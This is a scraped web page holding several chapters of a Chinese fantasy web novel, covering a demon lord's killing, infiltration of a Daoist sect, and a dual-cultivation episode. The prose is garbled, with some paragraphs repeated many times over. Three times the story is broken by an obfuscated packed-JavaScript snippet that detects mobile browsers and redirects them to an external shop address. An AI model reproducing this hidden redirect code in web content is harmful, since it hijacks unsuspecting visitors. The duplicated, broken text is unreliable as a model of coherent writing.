“不清楚,她把青璃剑打碎后,好像去了妖塔,然后就不知去向了,我没敢看,宝剑碎裂后我就躲起来了,结果被萍山君那狗东西偷袭,才落到今天的境地,我全都说了,你得说话算话,放我们出去!万妖国主道。 云缺又问了问其他消息,对方讲述的都是没用的信息。 “放心,本王说话向来言而有信,你们可以走了。 说着先后解开了两头妖王的绳索。 两妖被囚禁半年,早已虚弱不堪,一旦重获自由,争先恐后逃向牢房外。 云缺背着手,笑呵呵的看着,也不追。 等两妖刚刚冲出牢房,突然有利刃般的寒光落下。 那是虎爪掠过的寒芒。 血雾暴起之下,两头妖物相继倒地。 冥欢的脑袋直接被虎爪击碎,当场毙命,万妖国主的身体被劈开,吊着一口气,瞪着出手的萍山君。 “你、你们言而无信……你爹、不得好死! 云缺微笑着走过万妖国主旁边,道: “我这人向来说话算话,我肯定不杀你们,但萍山君杀不杀你,就不是我的事喽,至于我爹,他最好早点死。 云缺走出地牢之际,萍山君也完成了最后的击杀。 万妖国主父子俩,惨死在地牢之内。 萍山君甩着手上的血迹走上地面,边走边骂骂咧咧: “骂老子是卑鄙虎?要不是当国主挺爽的,老子早就走了!走之前先弄死你们两个杂种,让你们多活几天还不高兴了,真是好心当作驴肝肺,我呸! 第700章 为什么心会疼 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023133|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 皓月之下,妖塔散发着冰冷银辉。 云缺站在妖塔前沉吟良久,终于推开碎裂的石门。 走了进去。 第701章 舔狗一号 新皇重回大燕,群臣大喜。 雪片般的奏折堆满了龙书案,不看内容,光看数量云缺就觉得脑仁疼。 幸好有人分忧。 皇后愈发忙碌,比皇帝都要辛劳。 白天看奏折,晚上还要陪王伴驾,一个月下来,牧青瑶的小脸都瘦了一圈儿。 云缺心疼媳妇,直接将阜南王封为摄政王。 这下奏折全推出去了,堆满了王府书房,但牧青瑶还是忙。 有奏折的时候,晚上陪王伴驾。 没了奏折,白天晚上都要陪王伴驾…… 以至于后来云缺都没开口,牧青瑶心急火燎的帮着封妃,反正柳真真就在后宫住着,大家姐妹一场,自然得有福同享。 邵武国的清缴已经接近了尾声。 有朱静姝协助,打入邵武国的九夷人全部被拔出,一个没剩,尽数处死。 朱静姝的狠辣,与云缺有着类似之处。 而邵武国这位永平公主的手腕,更是高明,以她公主的身份,再借用大燕声威镇压了邵武国群臣,登基称帝,转回头就与牧青瑶私下里达成交易,用整个邵武国换取大燕后宫一个名额。 收一女而得一国,这等交易,牧青瑶自然知道取舍,当即答应下来。 于是邵武国就此消失,大燕版图扩大了一倍有余。 这段时间,云缺发现一个奇怪的现象。 大燕欣欣向荣,倒是梅钱那孙子不见了踪迹。 打听了一圈儿,居然没人知道。 没去理睬梅钱的失踪,云缺算算日子差不多了,就此启程,前往道宗。 临别前,云缺将七叔给的香囊交给牧青瑶。 香囊本来是一对,相当于云缺与牧青瑶的定情信物。 一看到香囊,牧青瑶的神色就变了,眼泪汪汪拉着云缺不肯松手。 聪明的牧青瑶已经预感到,云缺此行,危机重重。 “放心,为夫一定活着回来。” 云缺拍了拍牧青瑶的小手,笑道:“别忘了我可是猎妖人,还有好多条命呢。” 依依不舍中,两人就此分别。 云缺腾空而起,腾蛇现身。 这次燕皇出行,惊动了整个天祈城,也惊动了天祈学宫。 脚踏灵尊何人有过如此殊荣! 此次路途伴随着单调和争持。 灵尊不开口只管飞行争执发生在姐弟之间。 “就会说大话你自己数数我的尾巴复生天赋至多还有两次!” “两次也不少了我这不是哄媳妇么嘿嘿。” “有你这么哄媳妇的?拿你老姐的命去哄你媳妇?” “谁让你是姐姐呢姐姐就得爱护弟弟才对嘛。” “断绝姐弟关系没你这种弟弟!” “好哇就这么说定了我们先去万妖国你去找个合适的妖身夺舍咱们分道扬镳!” “分就分怕你啊!” 沉默了良久之后月魁的声音再度响起。 “激将法……你这混小子连我也算计我才不走等救回你娘再说。” “姐我冲不进三品未必能从大渊活着回来 “不分!你要死在大渊我跟你一起死!别想骗我走老娘就赖这了!我还有两条命算上你三条命!大不了全搭在大渊生死而已妖都公主可没那么胆小。” “姐其实我有一句话早想对你说了……” “是不是感动了哼多说点好听的哄姐姐开心开心。” “好但我说完你别生气啊就是……下次听完哼哼声你能不能别再点评了?” “当我愿意听似的!别跟我说话烦!” 腾云驾雾飞天而行腾蛇的速度绝非云雁可比。 数日后抵达天一道宗山门。 映入眼帘的是山。 无数高山! 山顶云雾缭绕时而有飞剑起落一幅仙家景象。 收起腾蛇云缺换上一件道袍。 门口有守卫弟子核查云缺出示了弟子令牌顺利走进道宗山门。 路上找个不太精明的弟子打听了一番云缺大致得知了道宗构造。 天一道宗以山为地盘长老占据着门内各个高山越是灵气浓郁的高山弟子越是众多。 道宗外表看高深莫测实则并不太平。 二十多年前道宗老宗主坐化之后各山长 老明争暗斗,觊觎着宗主之位,多年来始终没选出下一任宗主。 宗门内各大高手表面和气,暗地里互相敌视,竭尽全力拉拢力量,以至于宗门内派别林立,越斗越乱,谁也不服谁。 长老当中有两位资历最久,是两位二品强者,可以说呼声最高,被视为宗主之位的最佳人选。 也有些年轻的三品长老虎视眈眈,伺机而动。 这些年道宗内耗严重,宗主之位犹如魔咒,几乎每座高山都难逃厄运,唯独扶摇峰特立独行,非但不争,连山主都离开宗门外出游历。 只是最近一年刚刚返回,立刻闭关,不见外人。 得知了消息后,云缺来到扶摇峰下。 这座山,是凌妙清的地盘,凌妙清便是扶摇峰的山主。 “天镜在什么地方呢,初来乍到,不能贸然动手,混熟再说。 云缺在心里自语了一句,开始登山。 来道宗,除了准备即将开启的宝境之行,云缺还有个重要目的。 道宗至宝,天镜! 秦皇去大渊,必定携带重宝地镜,如果云缺能弄到天镜,无外乎又多了一件护身符。 还有三天才是宝境开启的时间,云缺来这么早,自然是为了自己打算。 境界难以冲进三品,那就多带些宝物防身。 这也是云缺的无奈之举。 盘山小路极其险峻,不过对于四品破军来说如履平地。 很快云缺来到山顶。 山顶是一片屋舍,修建得古香古色。 女弟子居多,大多十分年轻。 扶摇峰的弟子不算多,来了个外人显得十分醒目,很快有弟子过来盘问。 云缺拿出凌妙清给的弟子令牌,对方立刻躬身见礼,口称师兄,十分客气。 问了问,得知扶摇峰居然没有真传弟子,均为普通弟子而已。 自己的真传弟子令牌,属于独一份。 如此身份,自然可以在扶摇峰横着走,名副其实的大师兄。 这下云缺放心了,询问峰主在何处,得知凌妙清始终闭关在后院,一直没出关。 凌妙清闭关正好,云缺也没打算去见,毕竟自己是来当贼的,一旦盗走天镜就是道宗公敌。 落日西 斜, 云缺在扶摇峰吃了顿丰盛的晚饭,随后与一些弟子品着灵茶闲谈。 旁敲侧击的打听了一番,只得到一个线索。 天镜一直由老宗主保管,下一任宗主继位,才能去老宗主闭关之地继承天镜。 云缺随之恍然。 难怪各大长老都想争宗主之位,原来有天镜这份天大的好处。 云缺以如妖的心智加上和蔼得体的言谈,很快与扶摇峰弟子混成一片,尤其一些女弟子,对这位突然冒出来的英俊大师兄格外有好感。 云缺趁机问了问傀儡殿先生,当年的道宗叛徒宓荷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027783|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听说宓荷曾经是道宗年轻一辈当中最杰出的天骄,天赋惊人,因为盗取贵重的灵丹才被逐出宗门。 “宓荷不仅是当时的天骄,人家还是老宗主的关门弟子呢,真想不通,这么有前途的人,为何会犯傻偷东西。 “人非圣贤,再强的天骄也有被贪念蒙蔽双眼的时候,谁能不犯错呢。 “可惜了一位女天骄,如果宓荷一直留在山门,如今肯定也是一山之主,女山主本就稀少,要是能多一些,我们山主就不会总被人欺负了。 “嘘!别乱说,小心被外人听了去。 “我们在扶摇峰说话,外人如何听去,本来就是嘛,碧莲峰的山主隔三差五来扶摇峰找事儿,摆明了是骚扰我们山主。 “人家是我们山主的师兄,来了我们也不敢拦着,有什么办法。 “师兄了不起呀,我看那赫逊根本没安好心。 “小点声,妄议山主会被责罚的。 “哦哦,我知道啦师姐,我们下次给碧莲峰的山主起个代号,这样议论起来就不必担心喽。 “好哇好哇!就叫舔狗一号! 女弟子们莺声燕语的唠起家常,话里话外都对那碧莲峰的山主不满。 云缺听得多,说得少,等一壶灵茶喝完,天一道宗的大部分隐秘基本全知道了。 就这一屋子女弟子,想不知道都难呐。 碧莲峰的山主赫逊,是凌妙清的师兄,云缺其实不感兴趣,关键的天镜消息始终不得而知。 女弟子们八卦知道得多,真正涉及宗门隐蔽的天镜,无人得知。 云缺只 能自己寻找线索。 “老宗主叫什么,修为多高,我始终在外面闯荡,这是第一次回来,关于宗门历史,我必须上点心才行。”云缺笑呵呵的问道。 立刻有人开口。 “老宗主道号沧海,本家姓梅,有些外宗强者称呼老宗主为沧海道人,是真正的一品强者呢!” “可惜老宗主始终没能勘破超品,无法再进一步,最终只能坐化。” “我记得道宗历代宗主,最多只有一品,除了千年前出现道尊之外,从此再无超品出现。” 云缺仔细听着,微微蹙眉。 这份消息,看似平常,但是在云缺眼里有着一丝不同寻常的地方。 “历代宗主,都是如何陨落的。”云缺问道。 “均为坐化,这个我记得最清楚,无一例外!”一名最小的女弟子说道。 云缺微微眯起眼睛。 千年来,道宗不出超品,可以说是天赋不足,但是所有宗主均为一品,而且均死于坐化,这一点不太正常。 以白无缺所言,当年儒圣其实已经留手。 否则佛陀,道尊,巫神这些超品,根本没有转世轮回的机会,都会被儒圣彻底灭杀于千年前。 既然白无缺能轮回,那么道尊也一定可以。 云缺的心里浮现出一个惊人的猜测。 千年来的道宗宗主,其实就是当年的道尊轮回,始终是一个人! 而且之所以在一品坐化,不是无法突破超品,而是对儒圣的一种妥协。 道尊轮回,只修到一品,不再冲击超品境界。 这个猜测,让云缺震惊了良久。 越想越觉得是真相。 云缺在暗自沉思之余,总觉得有什么地方被自己忽略了。 好像有一些零散的线索,就在眼前,只要串联起来,即可得知一个更加惊人的真相。 屏蔽了周围弟子们的声音,云缺将心绪安静下来。 很快,一个普通又特殊的字眼浮现在眼前。 梅! 第702章 大秦太子与道尊转世 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027784|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 道宗老宗主道号沧海,本家姓梅。 这份线索看似平常,姓氏而已,有的多有的少,不足为奇。 但梅这个字,对云缺来说非同一般。 第703章 双修?这个我喜欢 “缺德!实在缺德!谁大清早的剑气封山!贱不贱啊,让不让人睡觉了!” 云缺在自己独门别院的小屋里大骂。 原因很简单, 天刚亮,就有铺天盖地的剑气笼罩了扶摇峰,剑啸声此起彼伏,如恶浪滔天。 到了大门口一瞧, 好家伙!来了个白衣胜雪的高挑男子,白衣白鞋白帽子,模样一般般,气势可十足,其身后悬着上千柄飞剑。 随着此人缓步行来,那千把飞剑如大军般缓缓跟随,给人一种强大的压迫感。 大清早的发丧啊…… 云缺在心里骂了一句,混在扶摇峰弟子当中看热闹。 面对此人,众多弟子无不低头,极其敬畏。 问了问旁边的弟子,得知来者正是碧莲峰山主,赫逊。 “三品化神就这么装,到了二品你还不上天……” 云缺在心里腹诽。 对方的气息太过明显,三品之力覆盖着山顶,彰显着霸道之意。 赫逊目光平视,穿过一众弟子的屋舍,直达后侧的僻静院落。 院门关着,赫逊推门而入。 两名年纪大些的女弟子急忙上前阻拦。 “我家山主在闭关,不见外客。” “赫山主请自重。” 赫逊看都没看两人,冷哼一声,三品之力爆发开来,将两名女弟子吹开,两人翻着跟头跌到远处,爬起来再不敢吭声。 来到院中站定,赫逊朝着紧闭的房门笑道: “凌师妹,师兄近日来修成了一门剑法,名为千剑归宗,特来找师妹切磋一二,师妹在宗门是出名的剑道高手,一定喜欢这招剑道。” 赫逊说完,屋子里鸦雀无声。 闭门羹。 等了稍许,赫逊的脸色有点发沉。 身后一群扶摇峰弟子在场,他这位碧莲峰山主有点下不来台。 “师妹若不拒绝,我当你默许了。” 说罢赫逊大步来到屋门前,就要推门强闯。 一群扶摇峰弟子咬牙切齿。 我们家山主在闭关,你强行来打扰,岂有此理,然而愤怒归愤怒,又不敢上去阻拦,谁让人家是三品强者,一峰之主。 “大胆!” 突然一声断喝传来。 赫逊正要推门的手,被惊得一哆嗦。 不是吓的,而是没想到声音从身后而来,整个宗门所有弟子,何时有人敢喝斥山主了。 一回头,赫逊看到一名年轻人走出弟子队列,十分眼生。 云缺神态凝重,道: “我家山主在闭关冲击二品境界,谁敢打断,便是绝我家山主的修行之路,敢问赫山主,我家山主与你何怨何仇,你竟如此恶毒,要断了我家山主的前程!” 赫逊被质问得直愣神儿,怒道: “放肆!区区弟子,你没有与我说话的资格!” “弟子怎么了,道尊说过,众生平等,难道弟子就得卑躬屈膝,弟子就得忍气吞声,弟子就得眼睁睁看着自家山主前途尽毁,而退缩不前吗!”云缺昂首道。 这番话一出,其他扶摇峰的弟子顿时感同身受,全都往前踏出一步,声援云缺。 赫逊的气势顿时被压了下去,他眼瞳缩紧,怒视着云缺,眼底浮现出一股杀意。 堂堂一峰之主,竟被弟子训斥,这种感觉,让赫逊怒不可赦,偏偏人家抬出了道尊,又当着这么多弟子的面,赫逊不敢直接下杀手。 至于道尊什么时候说的众生平等,赫逊直接忽略了过去。 其实云缺也不清楚道尊说没说过这话,反正道尊千年前就没了,我替道尊说了也一样。 赫逊很快将怒意消散,表情变得温和起来,道: “你们误会了,凌妙清乃是我师妹,我岂能破坏她的道途,你们山主被境界禁锢多年,始终冲不到二品,我来找她切磋,正是打算助她一臂之力,以剑道切磋的契机,帮她冲破桎梏,进阶二品。” 赫逊这么一解释,其他扶摇峰的弟子都觉得理解了。 道宗以修剑为主,突破剑道,的确有机会带动境界的提升,这种情况在道宗并非个例,可以说经常发生。 别人理解了赫逊,云缺可不那么认为,并且将面前这个赫逊加上了一个危险的标签。 典型的伪君子。 而且还是个能伸能屈的小人! 对方明显有杀意,却不表现出来,语气变幻得如此驾轻就熟,定是个心机颇深之辈。 赫逊的危险,在云缺眼里直接提升了一倍。 见人说人话,见鬼说鬼话,这是云缺的能耐,于是云缺做出一副恍然大悟的姿态,急忙拱手道: “是我误会赫山主了!原来赫山主一番好意,为我们家山主着想。” “你明白就好。”赫逊面带微笑,道:“面对强者依旧能本心不变,你是个合格的弟子,扶摇峰若是你这种弟子多些,将来的实力怕是要宗门称首,你叫什么名字。” 云缺心说孙子,来了不是,先夸人,再套底细,接下来就是暗中下刀子了。 这种套路,我熟啊! 云缺再次拱手,毕恭毕敬的道: “弟子梅钱,刚刚拜入扶摇峰,不懂规矩,还望赫山主以后多多教诲。” 赫逊点了点头,眼底闪过一抹冷意,道: “梅钱,名字不错,你将来必成大器。” 说罢白衣摆动,踏空飞走。 “恭送山主!” 云缺唱喏般说道,抬头时,对方已经消失了踪迹。 祝你早日找到梅钱,云缺在心里嘀咕一句。 找到了你就发了,不仅能看到天镜,还能看到你们道宗的老祖宗呢…… 众弟子纷纷散去。 云缺看了眼紧闭的房门,微微蹙眉。 赫逊那家伙,绝对心怀鬼胎,明知凌妙清闭关却要强闯。 什么切磋剑道法门,在云缺看来全是胡说八道,不过是寻个由头罢了,今天自己要是不出面,其他弟子肯定不敢拦。 赫逊这种时候要见凌妙清,到底有何目的? 云缺心中存疑,于是在午饭的时候打听了一番凌妙清的近况,得知一个奇怪的消息。 凌妙清虽然闭关不出,却留下吩咐,让弟子每晚子时送一桶寒潭水到闭关的屋子。 扶摇峰就有寒潭,其水冰寒刺骨。 云缺本来没打算多管闲事,既然天镜的消息已经推断出来,在梅钱身上,而且梅钱不知去向,自己在道宗也就没了收获。 再住两天,等宝境开启就走。 不过赫逊的到来,让云缺看到了一个危机。 来自凌妙清的危机。 尽管看不到真相,云缺能猜测到凌妙清的处境恐怕不太好。 有心隔着房门通知一声,又从弟子口中得知山主闭关的屋子有禁制隔绝,一切气息传不进去,包括声音,除非如赫逊那般强闯打破禁制,否则只有午夜送水的一个机会能进屋。 到了午夜时分,两名女弟子照例去打寒潭水,给山主送去。 云缺出现在寒潭边,接手了这个任务。 反正他被公认为扶摇峰的大师兄,又是山主唯一的真传弟子,两名女弟子自然不敢拒绝。 拎着一桶寒潭水,云缺推开了凌妙清的房门。 禁制唯有在此时消失。 屋子里空荡荡,四周点着蜡烛,没有风,火苗却忽隐忽现,好像随时要熄灭。 进屋后,云缺就是一皱眉。 屋子里的气息十分诡异,荡漾着两种不同境界的气息波动。 一种是三品,一种是四品。 而且两种气息交替起伏,来自同一个人。 察觉到如此气息,云缺料定凌妙清修为出了巨大的问题,时而在三品,时而在四品。 这是境界明显要跌落的征兆! 她怎么了? 云缺疑惑不解,放轻脚步来到内间。 屋子里很宽敞,除了一张硕大的床榻之外,只有床前的一个木盆。 凌妙清一身红衣坐在床边,紧闭双眼,秀眉紧锁,一张俏脸倾国倾城,任谁见了都挪不开眼睛。 木盆里,是昨天的寒潭水,已经被蒸发,只有些水迹残留。 凌妙清的一双玉足,垂在木盆里,等待着新的冷水。 云缺提着木桶来到近前,始终没吭声。 凌妙清察觉到脚步声,紧闭双眼,沙哑开口道: “吩咐下去,明日所有扶摇峰弟子迁移到山下,山顶不再留人。” 云缺捏着鼻子,学着女子声音道: “是,可是明晚的寒潭水怎么办呢。” “不需要了。” 凌妙清深吸一口气,沙哑道:“明日扶摇峰会与我一起消失,业火之劫,我没希望冲破,宁可一死,也不会便宜了宗门里那些龌蹉之辈!倒水!” 凌妙清的语气中,透着决绝与悲凉。 当寒冷刺骨的潭水倒进木盆,这位扶摇峰的山主浑身颤抖,紧咬银牙,痛苦不堪。 云缺看到凌妙清玉足皮肤下的血液在沸腾,卧蚕般的脚趾狠狠扣着木盆底端,鲜血涌起,将指甲盖染成了艳红,绝美中透着触目惊心。 云缺看不下去了,探手将凌妙清的玉足从寒水中抓了起来。 感受到男人的手掌,凌妙清豁然睁眼,美眸中杀气迸溅。 “找死!” 飞剑刚要出手,凌妙清愣住了。 眼前,是那个无比熟悉,令她又恨又气,又烦又想,宛如梦魇般的脸庞。 “国师,泡脚要用热水才行。” 云缺嘿嘿一笑,五指捏了捏。 手感真好! 凌妙清的身体从头到脚,美得令人窒息。 “你这混蛋……你来扶摇峰作甚。” 凌妙清惊讶之余,忘记了自己被握住的玉足,眼中的杀意消失,换成了嗔怪的目光。 “请贤呀,大晋改为大燕了,我是大燕皇帝,正好缺了个国师,左思右想,还是国师你最合适。” 云缺笑着说道,手里没闲着,继续占便宜。 “我不去,松开我!”凌妙清挣扎道。 云缺哦了一声,没敢惹怒对方,只好松手。 这一松手,凌妙清宛若无骨般仰倒在床榻之上。 美人如莲花,娇艳欲滴,正是最虚弱的时候。 云缺坏笑了两声,欣赏一番后转身而去。 “你帮我对付过红莲教,我帮你干掉碧莲峰的赫逊,国师的便宜我不白占,大家扯平了,明天你会见到他的人头,那家伙早晚对你不利,趁早除掉为好。” “他是三品巅峰化神,背后还有一位二品长老撑腰,你不是他的对手。”凌妙清支撑着身体道。 “那是我的事,你还是担心自己的境界吧,掉落四品,恐怕这辈子再难回到三品喽,四品的国师本皇可不稀罕。” 云缺撇着嘴往外走。 凌妙清长长的呼出一口气。 她看清了一些东西。 世上有的人外表如君子,实则是小人,有的人外表是混蛋,实则最情义。 “站住!” “啊?啥事儿?” “今天……便宜你了!” 一道红绸将云缺缠住,拉到了床榻之上,纱帘垂落,朦朦胧胧,四周的烛火纷纷暗淡了下来。 “哎?哎!国师你干什么!你可是道宗山主,你要自重啊!” “少废话!从现在开始你不可有任何杂念,眼里,心里,脑子里全都要想着我,此为双修之法,成功,你我皆可冲破境界。” “双修?这个我喜欢!国师放心,我今晚肯定只想你一人,明天再想别人,要是失败了呢?” “失败的话,我会身死道消,神魂炸裂之力会移平扶摇峰。” “这么危险!我还有没有机会拒绝?” “你说呢!你看看自己都到哪一步了……” “拔出来还不行吗……” “闭嘴!想着我,不许分心……” 天地朦胧,薄云遮月,满天星辰如害羞的精灵,纷纷躲进了夜空深处。 第704章 我爷爷丢了! 昨夜一场小雨。 清晨。 一道彩虹出现在扶摇峰顶,美得令人痴迷。 弟子们惊讶着彩虹的美丽,而修为高深的长老们,则看出了彩虹真正的含义。 那是天象。 有人冲破二品合体境才会出现的天象! 道宗各峰深处,相继睁开了表情不同的双眼。 有的释然,有的疑惑,有的目光泛起祝福之意,有的带着遗憾之色,也有的充满了愤怒。 碧莲峰上,赫逊遥望着远处的彩虹咬牙切齿。 “她居然成功了!她到底怎么做到的?本该是我突破二品的契机,居然就这么葬送了!” “昨天该强行出手才对,都怪那个弟子梅钱!狗东西,你活不过三天!我要亲手灭了你!” …… 扶摇峰后院。 屋门始终紧闭。 云缺从床榻上坐了起来,感受着浑身涌动的特殊气机,满脸惊喜。 三品归真! 云缺从未想到,自己冲进上三品的契机,居然是凌妙清! 本以为这次只能以四品境界去大渊,谁料宝境三重即将开始之际,契机也随之而来。 达到三品归真,云缺的心里出现了一种明悟。 跨过这条天堑,抵达二品乃至一品的路上将再无阻碍! 以云缺的天赋,有可能在一次战斗中即可破境进阶! 凌妙清犹如慵懒的猫儿般卷缩在云缺身边,眉目中泛着惊喜之色。 她赌对了。 云缺,就是她渡过业火大劫的天命之人。 凌妙清不想起来,躲在被子里感受着二品境界的玄奇。 堂堂二品强者,却如此小女儿的模样,世间恐怕无人得见。 云缺试了试运转气机,笑道: “三品归真果然强大,我终于冲进三品了!国师的双修之法实在不错!” “哼,还不拜谢。”凌妙清说完,发现云缺的确拜了,坏笑着又压了过来。 “你、你要作甚!双修结束,再修也没用!” “不一定,也许还能冲进二品呢,多试几次,反正又不要钱。” “你混蛋!” 今日扶摇峰,在外表平静,却暗流汹涌中度过。 次日清晨。 云缺顶着一双黑眼圈打开了房门,看架势要往外逃。 大战了两天,饭都没吃,不仅肚子饿,脸都瘦了一圈。 没等迈出房门,就被一条红绸给拽了回去。 哐当。 房门锁死。 “不行了国师!放过我吧!到极限了!” “区区三品,逃不出二品之手,你不是很强吗,继续!” “至少让我吃顿饭啊!水都没喝一口!” “我不管,谁让你们武夫连辟谷都不会,弱不禁风。” “瞧不起我?你这妖女!我跟你拼了!” …… 再次清晨,云缺终于逃出凌妙清的房门。 扶墙走的…… 先去吃饭,抢了两大锅米饭,不要菜,用的是一种外人没见过的极品吃法儿。 灵丹拌饭。 两锅米饭下肚,云缺终于恢复了精神。 今天,是道宗的大日子。 不仅宝境三重开启,还有一件大事,外门弟子拜入内门的大典。 以道宗的实力,自然少不得诸多外门存在,极少有弟子能直接拜入真正的山门,大多需要从外门开始修炼。 只要天赋够好,在外门冲进筑基境,才能得到进入内门的机会。 这种机会每年一次。 地点就在道宗山门宽敞的广场,而这里,也是天澜宝境三重的入口。 今年拜入内门的弟子格外多,达到了三百多名,均为精神奕奕的道门青年,有男有女。 拜师盛会极其热闹,很多山主亲自现身,准备挑选中意的门徒。 云缺来得挺早,纯属看热闹,等待着之后的宝境之行。 这场热闹没白看。 云缺惊讶的发现,外门弟子当中有个熟人,一双扫把眉,一脸衰相。 正是梅钱! 发现梅钱,云缺大喜过望。 这孙子原来跑到道宗外门,混了个外门弟子身份,接着混进道宗山门! 看样子梅钱应该有了筑基修为,武道双修略有小成,这点云缺毫无意外。 毕竟梅钱的心智,只比自己低那么一点,用点心,冲进筑基境不算难。 但他混入道宗做什么呢? 云缺略一沉吟,大致猜出了真相。 梅钱先入外门,再来山门,绕这么大一圈,肯定打着坏心思,估计是来继承老宗主的遗产。 想必此举也是梅沧海的意思。 外门弟子的身份没人怀疑,是极好的伪装,以梅钱的精明,只要混进道宗山门,加上梅沧海暗中指点,用不了多久就能有所收获。 可惜,如此稳健的计划,被云缺给看破了。 梅钱看重老宗主的遗产,云缺看重的,是梅钱的护心镜。 云缺如今才确定,之前自己猜错了,道尊看不到因果律! 否则岂能送上门来,这明显是千里送宝啊! 机不可失失不再来,云缺隐在人群里,开始行动。 新来的外门弟子,第一次见识真正的山门,纷纷震撼不已,脸上洋溢着震惊与期盼的神采。 梅钱也不例外, 甚至他表现得比旁人更甚,从外表看就是个没见识过世面的土包子,毫不起眼。 演戏而已,梅钱有着绝对的自信,心里却在暗暗发誓。 在外门混了半年时间,终于进来了,那么属于我的东西,就得全部拿走,一块灵石也不剩! 压制着心头的喜悦,梅钱觉得畅快无比。 自从镜子里的爷爷告知他在道宗拥有天量遗产之后,梅钱就再也睡不着觉了。 比起道宗里的遗产,在天祈城多领那几个月俸禄简直屁都不如! 就算一个月能多领一年俸禄,也追不上云缺的脚步。 我的契机,终于到了! 梅钱的心里美开了花儿,虽然爷爷没说具体遗产是什么,但告诉他绝不低于那些山主强者的财富。 对于镜子里的爷爷,梅钱毫无怀疑,信任十足。 因为从小这位爷爷就陪在自己身边,给了他极大的助力,人家如果要害自己,早动手了。 梅钱站在外门弟子的队伍里,想着拥有无数异宝之后,自己要如何埋头苦修,在最短时间内超越云缺,咱也来个名动天下,成为一代天骄。 入门大礼结束后,一些天赋最好的新弟子们被各个山主挑走。 大约走了一半,另一半天赋平平,没多少山主想要,于是大多会被安排在宗门执事的手下。 梅钱就是剩下来的弟子。 没人要最好,梅钱等的就是这个身份,随便跟一位执事,自己越低调,越好行事。 结果在最后时刻,梅钱也被挑走了,归入了扶摇峰。 山主没来,是扶摇峰大弟子替山主选的人。 梅钱稀里糊涂成了扶摇峰弟子,连大师兄都没看到,就被两个女弟子带到了扶摇峰后山的寒潭旁,并交给梅钱一套道袍,说明新弟子需要在寒潭洗涤身体,然后换上新道袍上山拜师。 随后两名女弟子走了,留下梅钱一个人在寒潭旁边。 “倒霉,怎么有人眼瞎啊,非得挑我,我这筑基境是用丹药吃上去的,我哪有什么道门天赋……” 梅钱骂骂咧咧扔掉外套,跳进寒潭。 没办法。 到了道宗地盘,只能听从人家的规矩,让洗澡就洗澡呗,等混进扶摇峰之后,再做打算。 潭水刺骨,不过对梅钱这种武夫来说不算什么。 随便洗了洗,梅钱转身要上岸。 走上岸边,梅钱只觉得眼前一黑,差点没掉水里。 放在衣服上的护心镜,不见了! 这下梅钱惊了。 道门遗产可以不要,护心镜不能不要,那是他的宝贝,是他的命根子! 